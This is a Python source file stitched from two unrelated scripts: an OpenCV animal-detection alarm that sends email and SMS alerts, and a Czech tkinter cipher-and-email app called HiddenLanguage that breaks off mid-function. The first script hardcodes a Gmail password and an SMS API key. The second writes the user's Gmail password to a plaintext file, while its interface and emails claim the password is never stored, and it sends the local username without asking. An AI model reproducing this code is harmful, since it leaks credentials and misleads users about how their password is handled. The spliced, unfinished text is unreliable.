#Ukládají se jenom soubory který se pak nahrávají do přílohy apod.
#Pokud se bojíte tak si udělejte API key od googlu https://console.cloud.google.com/ Crede
#Ostatní info v readme
#Import packages
import numpy as np
#import argparse
import cv2
import random
import pygame
from email.message import EmailMessage
import imutils
import time
import datetime
import imghdr
import os
from collections import Counter
import playsound
import requests
from playsound import playsound
#from imutils.video import VideoStream
from imutils.video import FPS
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# construct the argument parse and parse the arguments
#ap = argparse.ArgumentParser()
#ap.add_argument("-p", "--prototxt", required=True, help="path to Caffe 'deploy' prototxt file")
#ap.add_argument("-m", "--model", required=True, help="path to Caffe pre-trained model")
#ap.add_argument("-c", "--confidence", type=float, default=0.2, help="minimum probability to filter weak detections")
#args = vars(ap.parse_args())

protext="DNN_Object_Detection-master/DNN_Object_Detection-master/MobileNetSSD_deploy.prototxt.txt"
model="DNN_Object_Detection-master/DNN_Object_Detection-master/MobileNetSSD_deploy.caffemodel"

	# initialize the list of class labels MobileNet SSD was trained to
	# detect, then generate a set of bounding box colors for each class
CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", "pottedplant", "sheep", "sofa", "train", "tvmonitor"]
REQ_CLASSES=["bird","cat","cow","dog","horse","sheep"]
COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3))

	#Load model
print("Loading Model...")
net=cv2.dnn.readNetFromCaffe(protext, model)
print("Starting camera feed...")

vs=cv2.VideoCapture(0, cv2.CAP_DSHOW)
	#vs=VideoStream(src=0).start()
time.sleep(2)
fps=FPS().start()

	#Set confidence threshold
conf_thresh=0.2

	#Animal detection counter
count=[]
flag=0
siren_loc=os.path.join(os.getcwd(),'Siren.wav')
global det
det=0
	#Read frame by frame
while vs:
	success, frame = vs.read()
	if not success:
		break
	frame = imutils.resize(frame, width=500)
	#Take the frame dimentions and convert it to a blob
	(h, w) = frame.shape[:2]
	blob = cv2.dnn.blobFromImage(cv2.resize(frame, (300,300)), 0.007843, (300,300), 127.5)

	net.setInput(blob)
	detections = net.forward()
	#frame detection flag
	for i in np.arange(0, detections.shape[2]):
		#Probability associated with predictions
		confidence = detections[0,0,i,2]
		if confidence > conf_thresh:
			#Extract the class labels and dimentions of bounding box
			idx = int(detections[0,0,i,1])
			box = detections[0,0,i,3:7]*np.array([w,h,w,h])
			(startX, startY, endX, endY) = box.astype("int")

			#draw the box with labels
			if CLASSES[idx] in REQ_CLASSES:
				det+=1
				label="{}: {:.2f}%".format("Animal",confidence*100)
				cv2.rectangle(frame, (startX, startY), (endX, endY), (36,255,12), 2)
				if (startY-15) > 15:
					y = (startY - 15)
				else:
					y = (startY+15)
				print(f"Animal Intrusion Alert...!!! {len(count)}")
				path = r"siren/alert"
				file = os.path.join(path, random.choice(os.listdir(path)))
				pygame.mixer.init()
				pygame.mixer.music.load(file)
				pygame.mixer.music.play()
				if det >=10:
					nn = random.randint(0, 100)
					noOfFile = 'Animal' + str(nn) + '.jpg'
					print(type(noOfFile))
					cv2.imwrite("static/Animal_data/" + noOfFile, frame[startY:endY, startX:endX])
					ts = time.time()
					date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')
					timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
					s1 = "a@gmail.com"
					msg = 'Hi countryman!!'
					msg1 = 'We have captured an animal in your forms at ' + timeStamp + ' on ' + date + ' please be safe. '
					t = 'Regards,'
					t1 = 'AI Farming Services.'
					mail_content1 = msg + ',' + '\n' + msg1 + '\n' + '\n' + t + '\n' + t1
					sender_address = 'dopatisukumar@gmail.com'
					sender_pass = 'rzihvvowxagwrwgd'
					receiver_address = 'sukumardopati@gmail.com'
					message1 = MIMEMultipart()
					message1['From'] = sender_address
					message1['To'] = receiver_address
					message1['Subject'] = 'Animal Detection Using OpenCV'
					message1.attach(MIMEText(mail_content1, 'plain'))
					session2 = smtplib.SMTP('smtp.gmail.com', 587)
					session2.starttls()
					session2.login(sender_address, sender_pass)
					text1 = message1.as_string()
					session2.sendmail(sender_address, receiver_address, text1)
					session2.quit()

					newMessage = EmailMessage()
					newMessage['Subject'] = "Animal Detection Using OpenC"
					newMessage['From'] = sender_address
					newMessage['To'] = receiver_address
					newMessage.set_content(mail_content1)

					with open('static/Animal_data/' + noOfFile, 'rb') as f:
						image_data = f.read()
						image_type = imghdr.what(f.name)
						image_name = f.name

					newMessage.add_attachment(image_data, maintype='image', subtype=image_type, filename=image_name)

					with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
						smtp.login(sender_address, sender_pass)
						smtp.send_message(newMessage)

					url = "https://www.fast2sms.com/dev/bulkV2"
					print(url)

					no = '9390517887'
					data = {
						"route": "q",
						"message": mail_content1,
						"language": "english",
						"flash": 0,
						"numbers": no,
					}
					headers = {
						"authorization": "NgtD58YWLjubd2wXVFHAyrP6xOmRvaKeECJ1GhQUBfSsMc7piob3ELPkxpFqQnT7Gu6sitdUIBXMCrSW",
						"Content-Type": "application/json"
					}
					response = requests.post(url, headers=headers, json=data)
					print(response)
					cv2.putText(frame, label, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (36,255,12), 2)


		#Show the frames
	cv2.imshow("Frame", frame)
	count.append(det)
	#Alerts only if at least 15 frames sucessfully detects animals in the last 36 frames (appx 2 sec)

	#if flag==1 and len(count) > c+36:
	#	flag=0
	if flag==1 and len(count) > c +(11*18):
		flag=0
	if Counter(count[len(count)-36:])[1] > 15 and flag==0:


		c=len(count)

	key = cv2.waitKey(1)
	if key == ord("q"):
		break
	fps.update()

fps.stop()
print("Elapsed time: {:.2f}".format(fps.elapsed()))
print("Approximate FPS: {:.2f}".format(fps.fps()))
vs.release()
cv2.destroyAllWindows()
#vs.stop()



import tkinter as tk
from tkinter import messagebox
import random
import smtplib

from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""


def tlacitko_klik():

    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x700")
    # menu.configure(bg="light gray")
    menu.title("HiddenLanguage")


    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    def tlacitko_klik_sif():
        import json
        # Tady se vyčistí soubory txt ze speciálního nastavení = 1) nápověda v emailu, 2) přezdívka v emailu
        with open("napoveda_uzivatel", "w") as file:
            file.write("")

        data = {}
        with open("prezdivka.json", "w") as json_file:
            json.dump(data, json_file)


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")
            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        "Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                                          font=("Arial", 15))
                oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            messagebox.showinfo("Upozornění", "Úspěšně odeslán email!")
            program_bude_ukoncen = tk.Label(sifrovani_okno,
                                            text="Toto okno bude do pár sekund zavřeno.Poté budete moci program použít znovu.")
            program_bude_ukoncen.place(x=250, y=650, width=600, height=100)
            time.sleep(5)
            sifrovani_okno.destroy()
            time.sleep(2)
            Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()

        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)

        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=10)

        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #------------------------------------------------------------

        # Tady jsou definovány checkboxy které se ptají na návod a přezdívku
        #Funkce SE SPUSTÍ JAKMILE UŽIVATEL ZMÁČKNE TLAČÍTKO PRO ULOŽENÍ



        def otevri_vyskakovaci_okno():
            vyskakovaci_okno = tk.Toplevel()
            vyskakovaci_okno.geometry("900x500")
            vyskakovaci_okno.title("Nastavení nápovědy v mailu")


            # Tady je definován textbox který se objeví jakmile je v druhé možnosti zaškrtnuto jakože ano
            # Tady bude textbox, který se zobrazí pouze jakmile je zaškrtnutá možnost 1
            def on_text_click(event):
                if textbox.get("1.0",
                               tk.END).strip() == "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!":
                    textbox.delete("1.0", tk.END)  # Smazat původní text při kliknutí do pole
                    textbox.config(fg='black')  # Změnit barvu textu na černou

            def on_focus_out(event):
                if textbox.get("1.0", tk.END).strip() == "":
                    textbox.insert("1.0",
                                   "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!")  # Pokud uživatel nezadal žádný text, vrátit původní placeholder
                    textbox.config(fg='grey')  # Nastavit barvu textu na šedou

            # Placeholder - původní text, který se zobrazuje, dokud uživatel nezačne psát
            placeholder = "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!"

            textbox = tk.Text(vyskakovaci_okno, height=3, width=40, wrap="word", fg='grey',font=("Arial",10))
            textbox.insert("1.0", placeholder)
            textbox.bind('<FocusIn>', on_text_click)  # Při kliknutí do pole
            textbox.bind('<FocusOut>', on_focus_out)  # Když pole ztratí focus (kliknutí mimo pole)
            #KONEC TEXTBOXUUUUUUUUUUU

            def on_checkbox_click():
                if napoveda.get() == 1:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ano")
                else:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ne")

            def chce_jmeno_checkbox_klik():
                if chce_jmeno_y_n.get() == 1:
                    textbox.pack(pady=10)
                else:
                    textbox.pack_forget()

            # Zde jsou checkboxy a otazky
            label = tk.Label(vyskakovaci_okno, text="Nastavení nápovědy", font=("Arial", 20),activeforeground="blue")
            label.pack(pady=10)
            label_napoveda = tk.Label(vyskakovaci_okno,
                                      text="A) Pokud zaškrtnete checkbox, tak bude mail obsahovat návod k dešifrování zprávy." + "\n" + "Pokud nezaškrtnete checkbox, tak nápověda v mailu nebude.",font=("Arial",11),activeforeground="blue")
            label_napoveda.pack(pady=10)

            napoveda = tk.IntVar()
            checkbox = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci aby email obsahoval nápovědu k řešení",
                                      font=("Arial", 12), variable=napoveda, command=on_checkbox_click)
            checkbox.pack(pady=10)


            # Tady je část kodu jenž se zaobývá uživatelem
            label_uzivatel = tk.Label(vyskakovaci_okno,
                                      text="B) Tady je checkbox, který pokud zaškrtnete tak budete mít možnost vymyslet si vlastní přezdívku." + "\n" + "Pokud nezaškrtnete tuto možnost, tak počítač při odeslání mailu přečte název vašeho usera na pc např host nebo tomáš apod.",
                                      font=("Arial", 11), activeforeground="blue")
            label_uzivatel.pack(pady=10)

            chce_jmeno_y_n = tk.IntVar()
            jmeno_uzivatele = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci si sám vytvořit přezdívku",
                                      font=("Arial", 12), variable=chce_jmeno_y_n, command=chce_jmeno_checkbox_klik)
            jmeno_uzivatele.pack(pady=10)

            #Toto uloží hodnoty z checkboxu
            def ulozeni_hodnot():
                import json
                if chce_jmeno_y_n.get() == 1:
                    prezdivka = textbox.get("1.0", "end-1c")

                    data = {
    "chce_prezdivku": True,
    "prezdivka": prezdivka
                    }

                    with open("prezdivka.json", "w") as json_file:
                        json.dump(data, json_file)
                vyskakovaci_okno.destroy()


            odeslat_button = tk.Button(vyskakovaci_okno,height=3,width=20,text="Potvrdit",command=ulozeni_hodnot,font=("Arial",16,"bold"),bg="blue",fg="white",activeforeground="black")
            odeslat_button.place(x=320,y=360)


        specialni_nastaveni = tk.Button(sifrovani_okno,text="Speciální nastavení",command=otevri_vyskakovaci_okno,font=("Arial",12,"bold"),bg="red",fg="white",activeforeground="black")
        specialni_nastaveni.pack(pady=5)


        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            import json
            import datetime

            with open("prezdivka.json", "r") as json_file:
                nactena_data = json.load(json_file)

            chceprezdivku = nactena_data["chce_prezdivku"]
            if chceprezdivku == True:
                qw = nactena_data["prezdivka"]
            else:
                qw = getpass.getuser()

            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        def Zpet_do_menu():
            desifrovani_okno.destroy()
            Uvodni_menu()

        desifrovani_okno = tk.Tk()
